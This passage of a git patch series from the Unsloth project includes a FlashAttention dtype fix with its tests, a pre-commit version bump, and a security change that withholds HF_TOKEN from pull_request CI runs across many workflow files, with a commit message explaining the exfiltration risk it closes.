+        kv_seq_len = q_len,
+        n_heads = n_heads,
+        head_dim = head_dim,
+        requires_grad = False,
+        seq_info = seq_info,
+        attention_mask = None,
+        causal_mask = None,
+    )
+    ad.run_attention(config = config, context = context, Q = Q, K = K, V = V)
+    return captured["dtype"]
+
+
+def test_dense_flash_downcasts_fp32_qkv(monkeypatch):
+    # fp32 DoRA output must be downcast to a flash-compatible dtype.
+    assert _run(monkeypatch, torch.float32, ad.FLASH_DENSE) in (torch.bfloat16, torch.float16)
+
+
+def test_varlen_flash_downcasts_fp32_qkv(monkeypatch):
+    assert _run(monkeypatch, torch.float32, ad.FLASH_VARLEN) in (torch.bfloat16, torch.float16)
+
+
+def test_bf16_qkv_left_untouched(monkeypatch):
+    # Standard LoRA path (already bf16) must not be altered.
+    assert _run(monkeypatch, torch.bfloat16, ad.FLASH_DENSE) == torch.bfloat16
diff --git a/unsloth/utils/attention_dispatch.py b/unsloth/utils/attention_dispatch.py
index 3ff581b7fc..2e984bad0a 100644
--- a/unsloth/utils/attention_dispatch.py
+++ b/unsloth/utils/attention_dispatch.py
@@ -137,6 +137,25 @@ def run_attention(
     requires_grad = context.requires_grad
     sliding_window = context.sliding_window
 
+    # DoRA promotes q/k/v_proj outputs to fp32, which FlashAttention rejects, so
+    # downcast any fp32 Q/K/V to a flash-supported dtype (#1013).
+    if backend in (FLASH_DENSE, FLASH_VARLEN) and torch.float32 in (
+        Q.dtype,
+        K.dtype,
+        V.dtype,
+    ):
+        # Prefer the autocast dtype, else a non-fp32 input's dtype, then clamp.
+        if torch.is_autocast_enabled():
+            try:
+                flash_dtype = torch.get_autocast_dtype("cuda")
+            except (AttributeError, TypeError):
+                flash_dtype = torch.get_autocast_gpu_dtype()
+        else:
+            flash_dtype = next((d for d in (Q.dtype, K.dtype, V.dtype) if d != torch.float32), None)
+        if flash_dtype not in (torch.float16, torch.bfloat16):
+            flash_dtype = torch.bfloat16 if SUPPORTS_BFLOAT16 else torch.float16
+        Q, K, V = Q.to(flash_dtype), K.to(flash_dtype), V.to(flash_dtype)
+
     if backend == FLASH_VARLEN:
         Q_f = Q.transpose(1, 2).reshape(bsz * q_len, n_heads, head_dim)
         K_f = K.transpose(1, 2).reshape(bsz * q_len, config.n_kv_heads, head_dim)

From ab6a01376ec1e577656cd6ac3bf62efbc3154432 Mon Sep 17 00:00:00 2001
From: "pre-commit-ci[bot]"
 <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Date: Tue, 23 Jun 2026 03:01:11 -0700
Subject: [PATCH 056/306] [pre-commit.ci] pre-commit autoupdate (#6587)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

updates:
- [github.com/astral-sh/ruff-pre-commit: v0.15.17 → v0.15.18](https://github.com/astral-sh/ruff-pre-commit/compare/v0.15.17...v0.15.18)

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .pre-commit-config.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml
index bf2a0c8e7c..8dcb9130b3 100644
--- a/.pre-commit-config.yaml
+++ b/.pre-commit-config.yaml
@@ -1,6 +1,6 @@
 repos:
   - repo: https://github.com/astral-sh/ruff-pre-commit
-    rev: v0.15.17
+    rev: v0.15.18
     hooks:
       - id: ruff
         args:

From af3f29de83787883da4f735f978f5101df673978 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 03:59:12 -0700
Subject: [PATCH 057/306] Withhold HF_TOKEN from pull_request CI runs (#6600)

* Withhold HF_TOKEN from pull_request runs of CI workflows

The pull_request-triggered CI workflows check out and execute PR-controlled
code (install.sh, .github/scripts/**, tests/**) with secrets.HF_TOKEN in the
step environment. For a same-repo PR, GitHub provides repository secrets to the
run, so a malicious or compromised branch could modify a checked-out script to
read and exfiltrate HF_TOKEN, including by writing it into the uploaded logs/
artifact. HF_TOKEN is an external Hugging Face credential of unknown scope, so
this is the high-value exposure.

Gate every HF_TOKEN reference in these workflows with
`github.event_name != 'pull_request' && secrets.HF_TOKEN || ''`, so the real
token flows only on the trusted schedule/push/workflow_dispatch runs and PR runs
see an empty string. All model repos used by these jobs are public
(unsloth/*-GGUF), so anonymous download still works on PRs; install_llama_prebuilt.py
only sends HF auth to Hugging Face hosts and tolerates an absent token.

GITHUB_TOKEN (passed as GH_TOKEN) is intentionally left in place: it is the
auto-provisioned, job-scoped, contents:read token that expires with the job and
gives a same-repo PR author nothing they do not already have, and
install_llama_prebuilt.py needs it to authenticate the GitHub releases API or
the prebuilt llama.cpp download hits the anonymous rate-limit bucket and 403s.

* Trim the HF_TOKEN gating comments to one line per site

Comment/whitespace-only: collapse the per-step rationale to a single line and
shorten the local-agent-guides header note. No workflow logic changes (verified
each file's parsed YAML is identical before/after).
---
 .github/workflows/local-agent-guides-ci.yml   | 24 ++++++++++++++-----
 .github/workflows/mlx-ci.yml                  | 15 ++++++++----
 .github/workflows/studio-api-smoke.yml        |  6 +++--
 .github/workflows/studio-inference-smoke.yml  | 18 +++++++++-----
 .github/workflows/studio-mac-api-smoke.yml    |  6 +++--
 .../workflows/studio-mac-inference-smoke.yml  | 18 +++++++++-----
 .../workflows/studio-mac-install-matrix.yml   |  3 ++-
 .github/workflows/studio-mac-ui-smoke.yml     |  6 +++--
 .github/workflows/studio-mac-update-smoke.yml |  9 ++++---
 .github/workflows/studio-ui-smoke.yml         |  6 +++--
 .github/workflows/studio-update-smoke.yml     |  9 ++++---
 .../workflows/studio-windows-api-smoke.yml    |  6 +++--
 .../studio-windows-inference-smoke.yml        | 24 ++++++++++++-------
 .github/workflows/studio-windows-ui-smoke.yml |  6 +++--
 .../workflows/studio-windows-update-smoke.yml |  9 ++++---
 15 files changed, 112 insertions(+), 53 deletions(-)

diff --git a/.github/workflows/local-agent-guides-ci.yml b/.github/workflows/local-agent-guides-ci.yml
index 150dbc3fde..299ee3f18b 100644
--- a/.github/workflows/local-agent-guides-ci.yml
+++ b/.github/workflows/local-agent-guides-ci.yml
@@ -64,6 +64,12 @@ concurrency:
 permissions:
   contents: read
 
+# Secret handling on pull_request: these jobs check out and run PR-controlled code
+# (install.sh, .github/scripts/**), so HF_TOKEN (an external HF credential) is gated
+# off pull_request at each step below -- public GGUF repos still download anonymously.
+# GH_TOKEN (GITHUB_TOKEN) is kept: it is the job-scoped contents:read token and
+# install_llama_prebuilt.py needs it for the GitHub releases API (else 403s).
+
 env:
   # Determinism precedent (studio-inference-smoke.yml): temp 0 + fixed seed.
   UNSLOTH_SEED: '3407'
@@ -134,7 +140,8 @@ jobs:
         id: download-gguf
         if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Gated off PR (see note above); public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p gguf-cache
@@ -150,7 +157,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Gated off PR (see note above); public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -335,7 +343,8 @@ jobs:
         id: download-gguf
         if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Gated off PR (see note above); public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p gguf-cache
@@ -351,7 +360,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Gated off PR (see note above); public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -508,7 +518,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Gated off PR (see note above); public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -524,7 +535,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Gated off PR (see note above); public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
diff --git a/.github/workflows/mlx-ci.yml b/.github/workflows/mlx-ci.yml
index 221e86f235..864630f9f0 100644
--- a/.github/workflows/mlx-ci.yml
+++ b/.github/workflows/mlx-ci.yml
@@ -241,7 +241,8 @@ jobs:
       # non-zero binary exit is an Unsloth/Studio bug.
       - name: Studio prebuilt llama.cpp install + GGUF inference (Mac M1)
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
           # install_llama_prebuilt.py hits the GitHub releases API to
           # resolve the asset URL. Anonymous calls share the runner-IP
           # rate-limit bucket and 403 quickly -- pass the workflow's
@@ -332,7 +333,8 @@ jobs:
       # train_metrics.json so we can detect regressions across CI runs.
       - name: MLX export round-trip — TRAIN + SAVE 3 formats
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
           UNSLOTH_COMPILE_DISABLE: '1'
         run: |
           mkdir -p mlx_workdir
@@ -348,7 +350,8 @@ jobs:
       # the saved dir.
       - name: MLX export round-trip — RELOAD LoRA (fresh process)
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
           UNSLOTH_COMPILE_DISABLE: '1'
         run: |
           python tests/studio/run_real_mlx_smoke.py reload \
@@ -357,7 +360,8 @@ jobs:
 
       - name: MLX export round-trip — RELOAD merged_16bit (fresh process)
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
           UNSLOTH_COMPILE_DISABLE: '1'
         run: |
           python tests/studio/run_real_mlx_smoke.py reload \
@@ -372,7 +376,8 @@ jobs:
       # LoRA + merged_16bit assertions remain the gating signal.
       - name: MLX export round-trip — RELOAD GGUF via llama-cli (fresh process)
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           if python -c "import json,sys; m=json.load(open('mlx_workdir/train_metrics.json')); sys.exit(0 if m.get('gguf_supported') else 1)"; then
             python tests/studio/run_real_mlx_smoke.py reload \
diff --git a/.github/workflows/studio-api-smoke.yml b/.github/workflows/studio-api-smoke.yml
index b196805cf7..15efee382e 100644
--- a/.github/workflows/studio-api-smoke.yml
+++ b/.github/workflows/studio-api-smoke.yml
@@ -83,7 +83,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -100,7 +101,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
diff --git a/.github/workflows/studio-inference-smoke.yml b/.github/workflows/studio-inference-smoke.yml
index c2c4fa03bf..aebf90380a 100644
--- a/.github/workflows/studio-inference-smoke.yml
+++ b/.github/workflows/studio-inference-smoke.yml
@@ -97,7 +97,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -114,7 +115,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -364,7 +366,8 @@ jobs:
         id: download-gguf
         if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p gguf-cache
@@ -380,7 +383,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -845,7 +849,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -863,7 +868,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
diff --git a/.github/workflows/studio-mac-api-smoke.yml b/.github/workflows/studio-mac-api-smoke.yml
index 412726538c..617ce189dc 100644
--- a/.github/workflows/studio-mac-api-smoke.yml
+++ b/.github/workflows/studio-mac-api-smoke.yml
@@ -68,7 +68,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -85,7 +86,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
diff --git a/.github/workflows/studio-mac-inference-smoke.yml b/.github/workflows/studio-mac-inference-smoke.yml
index c794a34acd..d562294d42 100644
--- a/.github/workflows/studio-mac-inference-smoke.yml
+++ b/.github/workflows/studio-mac-inference-smoke.yml
@@ -91,7 +91,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -110,7 +111,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -346,7 +348,8 @@ jobs:
         id: download-gguf
         if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p gguf-cache
@@ -363,7 +366,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -725,7 +729,8 @@ jobs:
         # Authenticated + parallel: shared macos-14 NAT egress stalls
         # multi-GB anonymous downloads.
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p gguf-cache
@@ -752,7 +757,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
diff --git a/.github/workflows/studio-mac-install-matrix.yml b/.github/workflows/studio-mac-install-matrix.yml
index da944d4b5c..362305cdd4 100644
--- a/.github/workflows/studio-mac-install-matrix.yml
+++ b/.github/workflows/studio-mac-install-matrix.yml
@@ -63,7 +63,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
diff --git a/.github/workflows/studio-mac-ui-smoke.yml b/.github/workflows/studio-mac-ui-smoke.yml
index 4f9f94b534..512af54d53 100644
--- a/.github/workflows/studio-mac-ui-smoke.yml
+++ b/.github/workflows/studio-mac-ui-smoke.yml
@@ -68,7 +68,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -85,7 +86,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
diff --git a/.github/workflows/studio-mac-update-smoke.yml b/.github/workflows/studio-mac-update-smoke.yml
index f554a16415..d104306c7e 100644
--- a/.github/workflows/studio-mac-update-smoke.yml
+++ b/.github/workflows/studio-mac-update-smoke.yml
@@ -62,7 +62,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -74,7 +75,8 @@ jobs:
       - name: First update should be a no-op (prebuilt already validated)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           set -o pipefail
           unsloth studio update --local 2>&1 | tee logs/update.log
@@ -93,7 +95,8 @@ jobs:
       - name: Second update must also be a no-op
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           set -o pipefail
           unsloth studio update --local 2>&1 | tee logs/update2.log
diff --git a/.github/workflows/studio-ui-smoke.yml b/.github/workflows/studio-ui-smoke.yml
index dcf9fd26af..297a585430 100644
--- a/.github/workflows/studio-ui-smoke.yml
+++ b/.github/workflows/studio-ui-smoke.yml
@@ -82,7 +82,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -99,7 +100,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
diff --git a/.github/workflows/studio-update-smoke.yml b/.github/workflows/studio-update-smoke.yml
index 307bb51972..08a79afacd 100644
--- a/.github/workflows/studio-update-smoke.yml
+++ b/.github/workflows/studio-update-smoke.yml
@@ -71,7 +71,8 @@ jobs:
         # prebuilt path falls back to source build.
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -86,7 +87,8 @@ jobs:
         # idempotency regressed.
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           set -o pipefail
           unsloth studio update --local 2>&1 | tee logs/update.log
@@ -109,7 +111,8 @@ jobs:
         # the first one.
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           set -o pipefail
           unsloth studio update --local 2>&1 | tee logs/update2.log
diff --git a/.github/workflows/studio-windows-api-smoke.yml b/.github/workflows/studio-windows-api-smoke.yml
index 78efe918ac..e9abd2d669 100644
--- a/.github/workflows/studio-windows-api-smoke.yml
+++ b/.github/workflows/studio-windows-api-smoke.yml
@@ -75,7 +75,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -124,7 +125,8 @@ jobs:
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           # *>&1 captures Write-Host (Information stream) output;
diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml
index a997c89b67..c44c68278d 100644
--- a/.github/workflows/studio-windows-inference-smoke.yml
+++ b/.github/workflows/studio-windows-inference-smoke.yml
@@ -127,7 +127,8 @@ jobs:
         # described above (outcome != success).
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -179,7 +180,8 @@ jobs:
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           # *>&1 captures Write-Host (Information stream) output;
@@ -476,7 +478,8 @@ jobs:
         id: download-gguf
         if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p gguf-cache
@@ -524,7 +527,8 @@ jobs:
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           # *>&1 captures Write-Host (Information stream) output;
@@ -906,7 +910,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -956,7 +961,8 @@ jobs:
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
